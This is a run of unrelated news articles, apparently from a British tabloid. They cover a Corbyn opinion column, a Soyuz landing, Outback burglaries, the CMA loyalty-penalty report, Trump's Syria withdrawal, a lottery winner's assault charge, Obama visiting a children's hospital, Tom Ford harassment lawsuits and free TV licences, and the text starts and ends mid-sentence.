Secretary) to Dawn Butler (Women and Equalities). But the fact remains that Corbyns inner circle where the power really lies is resolutely white and male. Not only that, they are men of a particular kind: old-school, jobs-for-the-boys union hounds such as Andrew Murray (a veteran of Unite), Ken Livingstone (who resigned earlier this year over allegations of anti-Semitism) and champagne Communist Seamus Milne, director of communication and strategy. I have no doubt that under normal circumstances Corbyn is no more anti-women than the next quasi-septuagenarian male baby-boomer. But like many of his generation, who grew up with the cultural stereotypes of the Fifties and Sixties, there is a fundamental fault line that, when subject to extreme pressure, cracks. And that is what we saw in the raw yesterday. Mays taunts had pushed all his buttons and he reverted to factory settings. Not so much Cuddly Corbyn as Sid the Sexist. Of course, it wouldnt matter so much if hed have the courage to admit his mistake and apologise. Everyone slips up from time to time, and politics is a high-pressure environment, testing for even the most level-headed of souls. But Corbyns stubborn refusal to acknowledge offence, coupled by his teams frenzied attempts to diminish the incident, only served to add insult to injury. But perhaps worse was the way his supporters, clearly in denial about the reality of their hero, tried to justify the slur. Jeremy Corbyn flatly denied saying the words 'stupid woman' when he was summoned back to the chamber this evening Mrs May had said Mr Corbyn's position as descending into 'pantomime', and said his own party was not behind him May found herself in the curious position of being victim-shamed online by Corbynistas keen to point out that while what he said was, indeed, unacceptable, in this case it was justified because shes a Tory. In other words, she asked for it. Ah, that appalling age-old wife-beaters argument, in many ways so typical of Corbyns Labour Party. Dont condemn the crime, shame the victim. Thus, in the same way that Labour tolerates anti-Semitism because of its pro-Palestinian stance against Israel, Mays role as Tory leader makes her fundamentally untermensch intrinsically inferior and therefore not subject to the normal rules of civil engagement. Put simply, Corbyn can get away with calling her a stupid woman because shes not really human. So armoured are his acolytes by their self-righteousness that they believe themselves immune to all criticisms. Occupying, as they do, the moral high ground, they see everything though the filter of their world view. And it is this, fundamentally, that makes Corbyns Labour Party such a sinister prospect as a government in waiting. Barely concealed prejudice against certain groups and sectors of society which, were it to manifest itself anywhere else in public life, would rightly be denounced but which, within a cabal of men who believe themselves morally and ideologically superior, goes unchallenged. This, Im afraid, is why hell keep his core support base who, though, as young people of impeccably woke credentials (having sensibilities in line with politically correct ways of thinking) ought to be outraged by his behaviour. Indeed, if anything, he will, according to their twisted logic, only rise in their estimation, be seen as even more of a hero for socking it to an evil Tory. That is why yesterdays incident was so fundamentally shocking. Not so much because of the insult itself but because its stark proof of the reality of politics in modern Britain. Increasingly, its no longer a forum for open debate and sensible, pragmatic government but a no-holds-barred gladiatorial arena in which ideological opposites attack each other with extreme prejudice. The landing section of the manned spacecraft Soyuz MS-09 with three crew members from the International Space Station (ISS) and containers with the probes gathered from a hole drilled in the crafts habitation module has landed in Kazakhstani steppe today at 08:03am (Moscow time), 147 km south-east of the city of Zhezkazgan, the Moscow Regions Mission Control Center said. "There is landing. The landing section with Roscosmos cosmonaut Sergei Prokopyev, NASA astronaut Serena Aunon and astronaut of the European Space Agency Alexander Gerst has landed," TASS cited a representative for the Mission Control Center as saying. Roscosmos cosmonaut Oleg Kononenko, NASA astronaut Anne McClain and astronaut from the Canadian Space Agency David Saint-Jacques continue working on the ISS. The next ISS mission will be launched from Baikonur Cosmodrome on March 1 onboard the Soyuz MS-12. The new crew will include Roscosmos cosmonaut Alexei Ovchinin and NASA astronauts Nick Hague and Christina Koch. Residents of a small 'lawless' outback town have spoken out after a police car's tyres were slashed while officers were investigating an alleged burglary. Families living in Halls Creek, 686km east of Broome, say they're terrified to leave their own homes after a string of burglaries rocked the small Outback town, the ABC reported. A man who who declined to give his name has compared his hometown to a war zone. 'It's like Syria it feels like a war zone, they [the children] literally torment the police,' he said. Residents of a small outback town described as being 'lawless' have spoken out after a police car's tyres were slashed (pictured) while officers were investigating an alleged burglary A photo obtained by the publication showed a police squad car outside a local mechanic's workshop in early November with all four tyres slashed. Western Australia Police Superintendent for Kimberley Allan Adams said officers were attending the scene of an alleged burglary at 3am when their vehicle was vandalised. While inside investigating, a group of children threw rocks at the building, prompting police to walk outside and discover the car's deflated tyres, police said. The officers phoned a local community leader and father who raced to the scene and scolded the children - who stopped their behaviour instantly. Indigenous woman Trish McKay, who has called Halls Creek home since 1993, told ABC she is afraid to go to sleep at night. 'When I go to bed I can't go to sleep for a while and I wake up during the night just to hear a small noise, and I'm wide awake straight away thinking someone's breaking in,' she said. Miss McKay said in her 25 years living in the town she had never seen or heard about anything like the recent spate of crime in the area. Police Superintendent for the Kimberley Allan Adams (pictured) said the rate of burglaries had more than doubled from 95 in 2017 to 257 so far in 2018 She claims trucks bringing supplies into town were also being targeted by the lawless youth in the area. Superintendent Adams said the rate of burglaries had more than doubled from 95 in 2017 to 257 so far in 2018. Meanwhile 32,711 burglaries were reported throughout the entire state in the last year. Superintendent Adams also said he didn't believe putting the children in detention centres would have the desired effect and he would instead relocate resources and officers from nearby stations to fill 'youth intervention roles'. 'Instead of running from us, if we can do some stuff that gets them to run towards us, we think that's a better way of dealing with the problem than just locking them up and putting them into Banksia Hill [Detention Centre] where the evidence suggests that we're not going to see improved community safety,' he said. The meal at the Louise seafood restaurant on Oslo's waterfront is believed to be the world's biggest outbreak of the new strain so far. Norwegian epidemiologists have ruled out the possibility the infections are Delta variant cases and said there was a 'high probability' it was Omicron because at least one of the Scatec employees had recently returned from the renewable energy company's South African office in Cape Town. It came as one of Boris Johnson's business ministers today plunged Christmas party plans for millions of Britons into further chaos after declaring it would be 'sensible' to limit them to 'four or five staff' or axe them completely as hospitality bosses said the Government's muddled and confusing advice had led to a 'catastrophic' 48 hours for the industry. George Freeman, the Under Secretary of State for Science, revealed that he was cancelling his own department's bash, changing it to drinks on Zoom instead amid concerns over the new Omicron variant, admitting: 'It won't be the best party in the world'. Sacha Lord, the night-time economy adviser for Greater Manchester, said the advice from UK Health Security Agency head Dr Jenny Harries on Tuesday that people should not socialise unnecessarily - which kicked off the row - had been 'catastrophic for the industry'. He told Sky News: 'In the last 48 hours it's been catastrophic for the industry. We've seen office parties cancelled, flights are cancelling, it's been a huge domino effect. This isn't just restaurants, this is the whole ecology around it - it's the supply chain, it's the taxis, it's hotel rooms, it's everything that goes with it'. Companies that rip off their loyal customers by more than 4bn every year are facing a major crackdown. The competition watchdog says there should be powers to cap prices, impose fines and name and shame firms that penalise households that do not shop around. It follows a three-month investigation into five markets home insurance, mobile, broadband, cash savings and mortgages where existing customers are routinely charged more than new ones. The recommendations by the Competitions and Market Authority are a victory for Money Mail which has long campaigned for an end to the so-called loyalty penalty, estimated to cost households more than 4billion a year. Investigators found that consumers were left feeling 'ripped off, let down, and frustrated' The CMA says regulators for each sector for example the Financial Conduct Authority for banks and insurers should be handed new powers. Andrea Coscelli, chief executive of the CMA, said: 'Our work has uncovered a range of problems which leave people feeling ripped off, let down and frustrated. 'They should not have to be constantly 'on guard', spending hours searching for or negotiating a good deal, to avoid being trapped into bad value contracts or falling victim to stealth price rises.' The CMA was prompted to act by a complaint from Citizens Advice. It said that during its investigation it discovered alarming industry practices including sneaky price increases each year, high exit fees, contracts that are difficult to cancel and policies that renew automatically without enough warning. Millions are affected, from a million mortgage customers to 12million with insurance. The CMA said the problem is also likely to occur in other markets where contracts roll over, such as computer anti-virus software subscriptions. Vulnerable customers including the elderly were considered to be particularly at risk to unscrupulous practices Why parents pay more to insure the house Parents are being charged an extra 35 a year for their home insurance. The more children they have, the more they pay. Living with one child adds an average of an extra 18 a year to your bill, according to research. Having two children increases home insurance premiums by an average of 36 a year, whereas three children adds on an extra 69. The research by data firm Consumer Intelligence suggested parents pay 27 per cent more for home insurance on average. John Blevins of Consumer Intelligence says insurers contend that the risk of accidental damage claims is increased in a family house. But Martyn James of Resolver, the complaints website, says: Having three children might mean more breakages at home. But families with children typically spend more time in the house, meaning they are less likely to make a theft claim. Advertisement The vulnerable, such as the elderly, disabled or those on low-income, may be most at risk. The watchdog has demanded targeted price caps for such customers. It also wants firms be held to account for ripping off loyal customers. Regulators should publish the size of the loyalty penalty for each supplier each year, it suggested. The watchdog also made specific recommendations in the five markets. It suggested broadband firms set targeted price caps for vulnerable people and explore collective switching, in a similar way energy companies do. Customers can band together and move to a new provider, which offers a better rate in return for their business. Mobile phone providers should not charge contract customers the same rate after they have paid off their handset. More should be done to make people aware of packages that offer SIM cards only. The CMA said the FCA should investigate insurance pricing and intervene where necessary. It should also find out more about the 10 per cent of mortgage customers that could switch to cheaper options but do not. Gillian Guy from Citizens Advice said these were strong words from the CMA and she expected it to follow through. She said: 'The CMA is clear that nothing should be off the table when it comes to tackling the loyalty penalty, including targeted price caps, so we're expecting bold action. The CMA has set a six-month deadline for progress and expectations are high. President Donald Trump cut a video declaring victory in Syria after getting brushback on his sudden withdrawal announcement and suggested that fallen U.S. servicemen and women back his plan for an immediate withdrawal. Trump released the video on Twitter Wednesday evening after cancelling a planned meeting with lawmakers where he was certain to get more pushback on his sudden announcement, made via Twitter, which appears to have caught senior military leaders off guard. 'Our boys, our young women, our men, theyre all coming back. And theyre coming back now. We won, and thats the way we want it. And thats the way they want it,' Trump said, pointing to the sky for emphasis. The passage in the video came after Trump hailed fallen soldiers who died in the anti-ISIS campaign. After declaring victory on Twitter, President Trump, who had no public schedule Wednesday, released a video from the White House where he said: 'We have beaten them and we've beaten them badly. We've taken back the land.' Scroll down for video 'Now weve won. Its time to come back. Theyre getting ready. Youre going to see them soon. These are great American heroes,' Trump said. 'These are great heroes of the world. Because they fought for us. But theyve killed ISIS, who hurts the world,' the president said, speaking in broad terms about an enemy that tore across Iraq and Syria in 2014 and proclaimed an Islamic State. 'And were proud to have done it. And Ill tell you theyre up there looking down on us. And there is nobody happier or more proud of their families to put them in a position where theyve done such good for so many people,' the president continued. The president made the video just steps away from the Oval Office, on a day when he had no public events, and took incoming from GOP lawmakers and retired military commanders who said the U.S. should maintain a force to keep pressure on ISIS and prevent domination by Russian and Iranian influence. Earlier Wednesday morning, Trump claimed 'we have defeated ISIS,' although the military estimates some 30,000 ISIS fighters remain. The president's most detailed policy announcement on the plan came in a video posted on Twitter 'Now weve won. Its time to come back. Theyre getting ready. Youre going to see them soon. These are great American heroes,' Trump said The video featured Trump speaking directly to the camera with a few headlines splashed across for emphasis 'Weve been fighting for a long time in Syria. Ive been president for two years. And weve really stepped it up. And we have won against ISIS. We have beaten them and weve beaten them badly. Weve taken back the land. And now its time for our troops to come back home,' said Trump, who has long called for withdrawal from overseas conflicts. 'I get very saddened when I have to write letters or call parents or wives or husbands of soldiers who have been killed fighting for our country,' the president continued. 'Its a great honor. We cherish them. But its heartbreaking. There is no question about it, its heartbreaking,' the president said. Earlier, Trump declared victory over ISIS in Syria on Wednesday, as the Pentagon made preparations for an immediate troop withdrawal. Shortly after the president posted his video, images of him attending a White House Christmas party began showing up on Instagram Time to celebrate: Trump attended a Christmas Party at the White House Wednesday evening 'We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency,' the president wrote on Twitter. The announcement came under immediate scrutiny, as policymakers admitted they had been blindsided and worried that Trump was making a monumental misstep. Allies of the president on Capitol Hill called it a 'huge Obama-like mistake' and 'great disservice' to the nation. One GOP congressman said he was 'speechless' and that Iran and Russia are probably 'cheering.' The White House launched a defense of the policy on a conference call on Wednesday afternoon with reporters in which a senior administration official claimed that no one should be 'surprised' by the announcement, because Trump has been saying he wants to get out of Syria since he was a candidate. Yet, the same official could not offer a timeline for the troops are actually leaving, saying it was was still under design by the Pentagon. 'It's not that I'm not telling you, it's that I don't know, quite frankly,' the senior official said. The person directed all questions of that nature to the Department of Defense. President Donald Trump declared a victory in Syria in the U.S. campaign against ISIS as the military prepares for a total pullout Trump declared victory in Syria over ISIS on Wednesday morning in a surprise announcement that the U.S. was pulling troops out of the region GOP lawmakers were miffed that Trump declared victory against ISIS over Twitter before they had been notified of his intent to withdraw troops. Vice President Mike Pence just happened to be on Capitol Hill for a weekly meeting with Republican senators on Tuesday and took the brunt of the criticism behind closed doors, CNN reported. 'It doesnt feel to me there was any inter-agency process,' Senate Foreign Relations Chairman Bob Corker said of the conversation with the vice president. 'Im not sure even the principles knew.' Corker suggested that Trump just 'woke up' and decided to make the policy announcement. He told reporters at the Capitol hours later that he was at the White House for a planned meeting with Trump when the president, who has not been seen all day, cancelled on him. The Tennessee Republican is leaving Congress for good at the end of this year and is effectively a lame duck. His complaints were shared by other lawmakers, however, who begged Trump to rethink his position. Texas Sen. John Cornyn, the GOP whip, said it was a 'mistake' to leave Syria and the matter would most certainly be investigated by the upper chamber. 'I think the first mistake was to surprise Members of Congress. Nobody likes to be surprised,' he told CNN. Graham also chided Trump for announcing the withdrawl on Twitter. In a tweet, he said, 'Withdrawal of this small American force in Syria would be a huge Obama-like mistake.' 'This is the role of the Congress. To make administrations explain their policy, not in a tweet, but before Congress answering questions,' he told reporters later. Graham said he was 'annoyed' and pledged 'aggressive' oversight of the move. Sen. Marco Rubio likewise said the withdrawl is a 'great disservice' to the nation and a 'big mistake' that invites 'America's adversaries America is an unreliable partner.' 'Todays decision will lead to grave consequences in the months and years to come,' the Republican senator cautioned. A senior administration official refused to get into the details of the 'deliberative process' a short time after on a call with reporters during which the White House said that National Security Advisor John Bolton had been calling lawmakers all day. 'He's very committed to keeping them informed,' the senior official said. The official was left exposed on the call when a reporter brought up Bolton's September claim that the U.S. would not leave Syria until Iran's military and its proxies do. 'I think the issue here is that the president has made the decision, and so previous statements he gets to do that, that's his prerogative,' the official said in an admission that Trump was undermining his own aides. Responding directly to complaints that legislators were informed after the fact, the person said, 'The president's views have been well known, so I really don't see this as a surprise.' The official said that the comparison that Graham and others were making to Obama's withdrawl of U.S. troop from Iraq in 2011 was 'apples to oranges,' because the drawdown was much larger and came about as a result of a failure to come to an agreement with the Iraqi government about leaving troops in the country. 'The president has judged that the purpose for which those troops have been put into Syria has been accomplished to the point where they can reposition,' the person said. As for Sen. Graham, the official said 'he is entitled to his opinion' but it's unreasonable to think that the U.S. is going to turn 'Syria into a utopian democracy.' Trump's declaration came after the Wall Street Journal and other outlets quoted Pentagon officials saying the U.S. would soon begin pulling out remaining forces, which number about 2,000. 'The Pentagon has an order to get to move troops out of Syria as quickly as possible,' a U.S. official told the paper. The White House said in a statement following Trump's announcement that troops have 'started returning' home and a transition has begun. 'Five years ago, ISIS was a very powerful and dangerous force in the Middle East, and now the United States has defeated the territorial caliphate. These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign,' White House press secretary Sarah Sanders said in a statement. 'We have started returning United States troops home as we transition to the next phase of this campaign.' She added, 'The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, and we will continue to work together to deny radical Islamist terrorists territory, funding, support, and any means of infiltrating our borders.' Turkish president Recep Erdogan was likely to welcome the move. His country shares a border with Syria. So was Russia, which is allied with Syrian dictator Bashar al-Assad and is establishing a permanent military presence in the country as part of a deal with Damascus, and Iran. Defense Secretary Jim Mattis is said to have pressed Trump not to pull out America troops out of concern that ISIS will rebound. It still controls some territory in region. GOP senators expressed the same sentiments on Wednesday as they vented their frustrations. GOP Rep. Adam Kinzinger disputed the president's claim that ISIS had been defeated Graham compared Trump to his Democratic predecessor Barack Obama's resolve to pull troops out of Iraq, which critics say paved the way for ISIS to develop. Illinois Rep. Adam Kinzinger also disputed the president's claim that ISIS had been defeated. 'This is simply not true,' Kinzinger wrote after retweeting the president. He said in another message, addressing Trump's decision to pull out troops, 'Really? Iran is rejoicing right now. We left Iraq, and had to come back. I would sure hope the President and his advisers are smarter than this.' Kinzinger said on CNN later that he was 'speechless' and that terrorists would be 'emboldened' by the withdrawl. 'This makes no sense to me,' he said. 'I don't get it.' He said that Moscow and Tehran are 'cheering' over the decision he claimed makes America less safe. House Foreign Affairs Chairman Ed Royce said he too was 'disturbed,' because while 'ISIS is on the run, its not yet defeated.' 'The limited number of U.S. forces in Syria is critical to rooting out these terrorists and stopping Iran from moving fighters and missiles to Israels doorstep. Our presence is also key to helping leverage a political transition to end Syrias civil war,' he contended. 'The last administration showed what happens when arbitrary political deadlines rather than reality on the ground dictate policy in war zones. We must learn from the mistakes of the past, not repeat them.' Retired Gen. Mark Hertling also turned in a devastating review in an appearance on CNN, saying the move appeared to be 'transactional' in nature, having to do with an arrangement with Turkey and Russia. 'This was very surprising to menot only the announcement but the timing. I don't understand why it is happening now,' he told the network. 'The U.S. Forces have just started an offensive with the Syrian defense forces and the Kurds against the town of Hajin, which is considered an ISIS stronghold You're talking about making both the Russians, the Syrian Bashar Al Assad, the Iranians and the Turks very happy about this move because the Kurdish forces are going to see this as us turning against them one more time.' Hertling added: 'What is interesting that has not been brought up yet is there seems to be a transactional element to this, too,' Raw Story reported. 'Over the last days the U.S. Has sealed the deal with Turkey for $3.5 billion worth of Patriot missile systems that were signed yesterday by our State Department. I'm sure that played a role, a little bit, in this.' This April 2, 2018 photo shows a general view of a US military base in the al-Asaliyah village, between the city of Aleppo and the northern town of Manbij. The United States is preparing to withdraw its troops from Syria, a major move that throws into question America's role in the region Syrian Democratic Forces and U.S. troops are seen during a patrol near Turkish border in Hasakah, Syria November 4, 2018 The State Department subsequently cancelled its daily briefing with reporters. The White House held a call for journalists but neither Trump nor his spokeswoman appeared before cameras. Just last week the Special Presidential Envoy for the Global Coalition to Defeat ISIS, McGurk, said at a State Department briefing that ISIS had not been defeated. 'Even as the end of the physical caliphate is clearly now coming into sight, the end of ISIS will be a much more long-term initiative. Weve talked about that many times. Nobody working on these issues day to day is complacent. Nobody is declaring a mission accomplished,' he'd said. 'Defeating a physical caliphate is one phase of a much longer-term campaign.' He said that ISIS was down to one percent of controlled territory and said the coalition was shifting its focus to how to sustain the gains it had made in the region. 'Were prepared to maintain the stabilization effort in Iraq and Syria,' he said. A U.S. Air Force munitions team member uncases the laser-guided tip for a 500 pound bomb to be loaded onto an unmanned aerial vehicle (UAV), for airstrikes on ISIL targets on January 8, 2016 at a base in the Persian Gulf Region U.S. troops patrol near Turkish border in Hasakah, Syria, November 4, 2018 Posted on Aug. 27, 2014, by the Raqqa Media Center of the Islamic State group, a Syrian opposition group, which has been verified and is consistent with other AP reporting, shows a fighter of the Islamic State group waving their flag from inside a captured government fighter jet following the battle for the Tabqa air base, in Raqqa Trump has said for months that he wants to 'get out' of Syria and would recall troops as soon he was able. His announcement on Wednesday that it had already started to happen, however, is what startled lawmakers. The U.S. was believed to have about 2,000 troops in Syria, where Trump led a three-party coalition that dropped bombs on Assad's forces for illicit use of chemical weapons. Some 5,200 troops are still believed to be across the border in Iraq, a number that the Pentagon has declined as a matter of routine since Trump took office to confirm. Trump has derided Barack Obama for withdrawing U.S. forces from Iraq. Republicans claim that the move left a power vacuum in the country that ISIS took advantage of. He in 2016 contended repeatedly that Obama was the 'founder of ISIS' and claimed he was the terror group's 'most valuable player.' Gillian Bayford (pictured arriving at her ex-husband Adrian's Suffolk home in 2013) has been accused of assaulting her domestic violence campaigner ex-boyfriend Gavin Innes Euromillions jackpot winner Gillian Bayford has been accused of attacking her domestic abuse campaigner ex-boyfriend. The 46-year-old lottery winner has been charged with assaulting Gavin Innes, 45, who she was dating last year. The mother-of-two allegedly swung for him in her Audi Q7 in October 2017 when he refused back her in a row with his ex. Gavin allegedly refused to support Gillians version of events following a spat with Ashley Donaldson, the mum of his son. He is said to have suffered minor injuries, The Sun reports, in an argument over the mother of his son. The pair met at school but got close after he approached her for help with a charity assisting male victims of domestic abuse. For their first date Gavin treated Gillian to pots of tea for 3.78 at a carvery restaurant. But she later branded him a a 'gold-digger' and a 'weasel' when they split up after the assault last year. A friend of theirs said the millionaire bought Gavin a Range Rover and helped his mother buy a house - but wanted 'total dedication, which he couldn't give' in return. She soon fell for another man Brian Deans, 37, a convicted fraudster who once stole 13,500 from supermarket giant Tesco. The couple married in August this year near St Andrews exactly six years after she bagged her millions. She now uses the surname Bayford Deans. When she won her 148million in August 2012 Gillian was married to Adrian, 47, and celebrated with a Domino's takeaway. Gillian Bayford (right, shortly after her win with her then husband Adrian in 2012) has been charged with assaulting her ex boyfriend Gavin Innes (left) last year Gillian (pictured with her ex-husband Adrian immediately after their lottery win) split up from Gavin Innes last year and has since married Brian Deans Gillian and Adrian are pictured in celebrated their win back in August 2012. They celebrated with a Domino's pizza after bagging the 148million jackpot She split from him 15 months later, blaming the stresses of their new-found wealth, and moved from their Suffolk home back to her native Scotland, where she built up a property empire of 90 homes. She is due to appear at Dundee Sheriff Court over the alleged assault this month. A spokesman for Police Scotland confirmed a 46-year-old woman had been charged in connection with a minor assault that took place in October 2017. Lottery winners Gillian and Adrian have had turbulent love lives since they broke up and have both invested in multiple properties with the prize money they split in half. In January last year Adrian was left heartbroken when his fiancee Samantha Burbidge, 30, walked out on him. Euromillions winner Gillian Bayford recently revealed she sold her designer bungalow near Cambridge for 1.45m as she looks to 'tighten up' her expanding property portfolio Gillian has also put her spectacular waterfront property on the River Tay near Dundee in Scotland, for 735,000, which she said was a 'business decision' He now claims he is emigrating to Australia because his lottery win has made him miserable, with all his neighbours to his Suffolk mansion 'wanting a piece of him', friends say. He is selling his 6.5million Georgian, Grade II-listed manor house, one of his 38 properties, for a new start abroad where he can't be hurt by his past 'bad' relationships. Like his wife he has used his millions to invest in the property market and set up his own buy-to-let property empire through a company called St Just Housing. Adrian's announcement comes after Gillian revealed she has sold her four-bedroom designer bungalow in Balsham, near Cambridge, for 1.45million. She also recently put her stunning waterfront property on the River Tay near Dundee on the market for 730,000. Gillian also had a relationship with another man, car dealer Alan Warnock, before she met her current husband, but they broke up in 2017. Advertisement Barack Obama brought an abundance of holiday cheer to poorly kids at the Childrens National hospital in Washington, DC on Wednesday. The former president suited up in Santa Claus attire and merrily sang Christmas carols along with with hundreds of doctors, nurses, hospital workers, parents and children during the much-anticipated visit. Obama was greeted by happy hospital staff and others as he arrived in a red hat and belted out lyrics to We Wish You a Merry Christmas. The starstruck crowd cheered and shouted in excitement as they exchanged holiday greetings with him. Barack Obama brought holiday cheer to sick kids at the Childrens National hospital in Washington, DC on Wednesday The former president made his rounds through the hospital carrying a sack of toys He brought tears of joy to one little girl when he walked into her hospital room and gave her a warm hug Another little boy was thrilled when he delivered Christmas presents to his room Obama is seen speaking to another patient wearing a nasendoscope Obama shared a humbling message to the crowd: 'I just want to say thank you to all of you guys, we had a chance to talk to some of the wonderful kids and their families. 'At a time that obviously is tough for folks, as a dad of two girls, you know, I can only imagine. 'In that situation, to have nurses and staff and doctors and people who are caring for them, and looking after them, and listening to them and just there for them, and holding their hand... that's the most important thing there is.' He added: 'What a great reminder of what the holiday spirit is supposed to be about.' Obama made this little boy smile when he hand-delivered a gift He is seen chatting with a parent and her child Wednesday during the visit in DC Obama hugs a girl after presenting a Christmas gift to her in the hospital in DC The former president takes a selfie with a patient over a game of Uno Former US President Barack Obama greets patients and their parents at Childrens National Medical Center in Washington on Wednesday Trump's predecessor made his rounds through the hospital to deliver gifts. He carried a sack of toys, including remote-control cars, Hot Wheels sets, nail polish, jigsaw puzzles and more. Obama brought tears of joy to one little girl when he stepped foot into her hospital room. He danced for her and the girl was seen covering her mouth in shock. When Obama wrapped his arms around the child, she broke down in tears. Obama was pictured as he hand-delivered gifts to others - including a girl wearing a nasendoscope and smiling little boys. He later took to Twitter to write: 'Merry Christmas and happy holidays to the extraordinary kids, families, and staff at Childrens National. And thanks for humoring me as your stand-in Santa.' Kurt Newman, chief executive and president of Childrens National Health System, told the Washington Post the kids 'will be talking about [the visit] for years to come.' Newman said: 'At such a busy time of year, when no one wants to be in the hospital, his natural warmth lifted the spirits of those kids, their parents and of each staff member he met along the way.' The starstruck crew cheered and shouted in excitement and snapped photos with their phones Obama belted out lyrics to We Wish You A Merry Christmas with the hospital staff, kids and parents Obama is seen making his rounds to the hospital rooms, where he gabbed with kids and staff He later wrote on Twitter: 'Merry Christmas and happy holidays to the extraordinary kids, families, and staff at Childrens National. And thanks for humoring me as your stand-in Santa' Obama's office also released the following statement: 'This afternoon, President Obama had the pleasure of visiting with children and families at Childrens National hospital in northwest DC. 'During todays visit, President Obama greeted individual patients in their rooms and stopped by several playrooms, bringing Christmas gifts that he and his staff had collected. 'He had the chance to spend some time with parents and siblings of kids who are spending the holidays in the hospital, and he also recorded a short message for the hospitals internal TV system, wishing all the patients he couldnt visit today a wonderful holiday season.' On Wednesday evening, his wife Michelle Obama made a fashionable appearance on the final stop of her book tour where she was interviewed by Sex and the City star Sarah Jessica Parker. Obama, wearing $4,000 glittery thigh-high Balenciaga boots, packed out the Barclays Center in Brooklyn, where Parker interviewed her about her new book, Becoming. During the event, Obama talked about the decisions behind the outfits that made headlines during her time as first lady. Michelle Obama wore a striking yellow Balenciaga dress to her final book tour appearance on Wednesday in Brooklyn Tom Ford manager Tatyana Gleyzerman, 54, (pictured) is now facing two lawsuits from a former seamstress and two former tailors who said she frequently made inappropriate sexual comments in the workplace The Tom Ford manager who was accused of making frequent sexual comments to a seamstress is now facing a lawsuit from two tailors with similar claims. Tatyana Gleyzerman, 54, made headlines in November when she was accused of subjecting Yekaterina Angert to a 'barrage of unprovoked inappropriate personal revelations'. Angert claimed that Gleyzerman eventually fired her after she didn't engage in sexually inappropriate conversations. Now former Tom Ford tailors Hamid Saib and Tachmina Sharipova are suing Gleyzerman and the company, claiming they too were exposed to Gleyzerman's alleged sexual outbursts at the company's Manhattan flagship store. Saib, who has done fittings for Alex Rodriguez, Will Smith, and even Tom Ford himself, alleges that Gleyzerman tried to kiss him on the mouth at a coworker's birthday pary. Gleyzerman, 54, made headlines in November when she was accused of subjecting Yerkaterina Angert to a 'barrage of unprovoked inappropriate personal revelations' while they worked at the brand's Manhattan flagship store (pictured) The married man, who is Muslim, said that when he rejected Gleyzerman's advances she replied: 'I know you can't do it because of your religion.' Sharipova quit the company after Gleyzerman asked her how long she had gone without sex after divorcing her husband, according to the New York Post. She told Gleyzerman that she is Muslim and that her religion didn't allow sex outside of marriage. Now former Tom Ford tailors Hamid Saib and Tachmina Sharipova have revealed they left their jobs at the brand's Manhattan flagship store due to Gleyzerman's (pictured) alleged outbursts Gleyzerman then allegedly told her: 'I need sex every day, I can't live without it.' Attorney Maimon Kirschenbaum, who is representing Saib and Sharipova as well as Angert in the two lawsuits, criticized the company for allowing Gleyzerman's behavior. 'It is sickening that an institution like Tom Ford would let this craziness go on in front of its nose without stopping the discrimination dead in its track,' Kirschenbaum said. 'Management knew about this for some time and just let it get worse and worse as its employees suffered severely.' Angert, 34, said Gleyzerman would frequently tell her she was 'very horny' and that she 'needed sex for breakfast, lunch, and dinner'. The seamstress, who worked at the Madison Avenue branch from June until October, alleges that Gleyzerman also told her she owns 'every sex toy that is possible to own' and that 'today with an iPhone and technology you can do anything with sex toys'. Angert said that Gleyzerman's behavior 'escalated from inappropriate to downright nasty and discriminatory' when she did not engage with the unprofessional chat. Tom Ford remains supportive of Gleyzerman, who has worked for the likes of Versace, Gucci and Calvin Klein She claims that Gleyzerman told her the Manhattan flagship was anti-Semitic and even encouraged her to hide her religion. Angert was told 'not to discuss her Judaism or kosher observance' because 'they don't like Jews around here', according to the lawsuit. Angert is suing both the individual and the Tom Ford (pictured) company for damages The seamstress said that Gleyzerman also tried to force her to work on Jewish holidays. Angert claims Gleyzerman's behavior made her sick with anxiety as the line manager yelled at her in front of co-workers and high level executives. The seamstress said she was hospitalized twice due to panic attacks during her short time at the company and eventually had to take time off because her complaints to people higher up in the team were not immediately acted upon. Angert said she was fired from the company after taking leave to cope with the illness. Now she is suing both Gleyzerman and Tom Ford for unspecified damages. 'It is sad to see this level of abuse go on in today's day and age, particularly at an institution as prestigious as Tom Ford,' Kirschenbaum said. Tom Ford remains supportive of Gleyzerman, who has worked for Versace, Gucci and Calvin Klein. A spokesman claimed that Saib and Sharipova never raised complaints about Gleyzerman while they were at the company. 'We have investigated the claims made and found them to be without merit,' the spokesman said of the two lawsuits. 'We look forward to vigorously opposing them in court.' Scrapping free TV licences for the elderly would hit 2.4million pensioners who live alone, Labour said last night. The BBC has started a consultation on ways to remove the concession from the over-75s from 2020 or reduce the number receiving it. Tom Watson, Labours culture spokesman, warned that the option of getting rid of the free licences altogether would have a severe impact on the lonely. Its at Christmas time that the harsh reality of loneliness is felt most keenly across this country, he said. If any single older person living on their own loses their free TV licence because the Government has devolved spending cuts to the BBC it will be a tragedy. Scrapping free TV licences for the elderly would be 'callous' and hit 2.4million pensioners who live alone, Labour said last night The word callous wont cut it, particularly when the Conservatives promised to keep TV licences in their last manifesto and when pensioner poverty is on the rise. We must protect older people living on their own the Government must step in and save free TV licences for the over-75s. Mr Watson pointed to statistics from the House of Commons library that predict around 2.4million people aged 75 or more will be living alone in 2020. The library also estimates that there are likely to be 751,000 people in this age group living alone and in receipt of pension credit in 2020/21. This means that were the free licence concession limited to just those eligible for the benefit which is another of the BBCs options then 1.6million pensioners living alone would still lose their free licence. In 2020, the BBC will take over from the Government the responsibility of funding the concession, which is worth 150.50 per home. Labour said free TV licences were an important benefit for older people who suffer disproportionately from loneliness and social isolation. The Campaign to End Loneliness has found that 40 per cent of older people say television is their main source of company. Christmas is a particularly bad time for loneliness and analysis by Age UK found that almost a million pensioners do not see or hear from anyone over the festive period. The Campaign to End Loneliness has found that 40 per cent of older people say television is their main source of company Caroline Abrahams, the charitys director, says pensioners are among the BBCs most loyal and committed viewers and listeners. A BBC spokesman said: Free TV licences for people over 75 are expected to cost 745million a year by 2021/22, and government funding for the scheme ends in June 2020. Thats why we have set out a range of options in our consultation each has merits and consequences, with implications for the future of the BBC, and for everyone, including older people. We need to hear views to help the BBC make the best and fairest decision. The BBC it considering several options for reforming the scheme. These include raising the age of eligibility for a free licence to 80, which would align the scheme with other benefits, such as higher winter fuel payments. This would cut the cost by about a third to 481million but leave 1.87million households paying the full fee. An estimated 4.5million homes receive free television licences. The perk was introduced in 2001. A doctor in Western New York who specializes in addiction treatment has been arrested for allegedly importing cocaine and heroine. Dr. Torin Finver, 54, of Hamburg was arrested on Monday 